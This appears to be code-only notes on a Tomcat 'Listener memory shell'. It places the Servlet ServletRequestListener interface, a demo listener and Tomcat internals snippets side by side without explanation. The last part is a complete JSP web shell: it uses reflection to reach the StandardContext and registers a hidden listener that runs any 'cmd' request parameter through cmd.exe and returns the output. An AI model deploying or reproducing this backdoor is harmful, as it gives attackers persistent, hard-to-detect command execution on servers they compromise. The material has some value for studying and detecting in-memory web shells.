/*
 * Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the "License"); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package javax.servlet;

import java.util.EventListener;

/**
 * A ServletRequestListener can be implemented by the developer interested in being notified of requests coming in and
 * out of scope in a web component. A request is defined as coming into scope when it is about to enter the first
 * servlet or filter in each web application, as going out of scope when it exits the last servlet or the first filter
 * in the chain.
 *
 * @since Servlet 2.4
 */
public interface ServletRequestListener extends EventListener {

    /**
     * The request is about to go out of scope of the web application.
     *
     * @param sre Information about the request
     */
    void requestDestroyed(ServletRequestEvent sre);

    /**
     * The request is about to come into scope of the web application.
     *
     * @param sre Information about the request
     */
    void requestInitialized(ServletRequestEvent sre);
}

package com.Err0r233;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent){
        System.out.println("执行了TestListener requestDestroyed");
    }
    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent){
        System.out.println("执行了TestListener requestInitialized");
    }

}

public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>